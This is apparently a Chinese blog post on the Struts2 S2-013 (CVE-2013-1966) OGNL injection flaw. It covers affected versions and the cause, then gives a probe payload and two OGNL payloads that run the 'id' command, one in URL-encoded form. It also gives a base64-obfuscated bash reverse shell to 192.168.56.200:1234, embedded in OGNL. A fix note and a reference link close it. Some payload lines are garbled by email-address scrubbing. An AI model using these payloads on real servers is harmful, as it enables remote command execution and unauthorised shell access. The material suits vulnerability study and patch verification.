漏洞名称
S2-013 CVE-2013-1966 远程命令执行
利用条件
Struts 2.0.0 - Struts 2.3.14.1
漏洞原理
Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,可以设置成如下值:
- none - URL中不包含任何参数(默认)
- get - 仅包含URL中的GET参数
- all - 在URL中包含GET和POST参数此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行
需要在JSP页面中将s:url、s:a标签中的includeParams属性设定为get或all
<s:a>用来显示一个超链接,当includeParams=all或includeParams=get时,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
漏洞利用
探测
简单payload ${1+1} (编码提交)
命令执行
POC1
${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}
全url编码发送
通过url编码工具编码后发送
在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具 (atool99.com)
%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew+java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew+java.io.BufferedReader%28%23b%29%2C%23d%3Dnew+char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28%2Bnew+java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D
POC2
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
通过在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具 (atool99.com)进行编码
反弹shell
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}
在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具 (atool99.com)
修复建议
升级到 Struts 2.3.14.2,其中包含更正的 OGNL 和 XWork 库。
参考文章
https://blog.csdn.net/satasun/article/details/110938209
标签:java,S2,1966,29%,28%,013,io,new,2C% From: https://www.cnblogs.com/crayonxiaoxin/p/17036084.html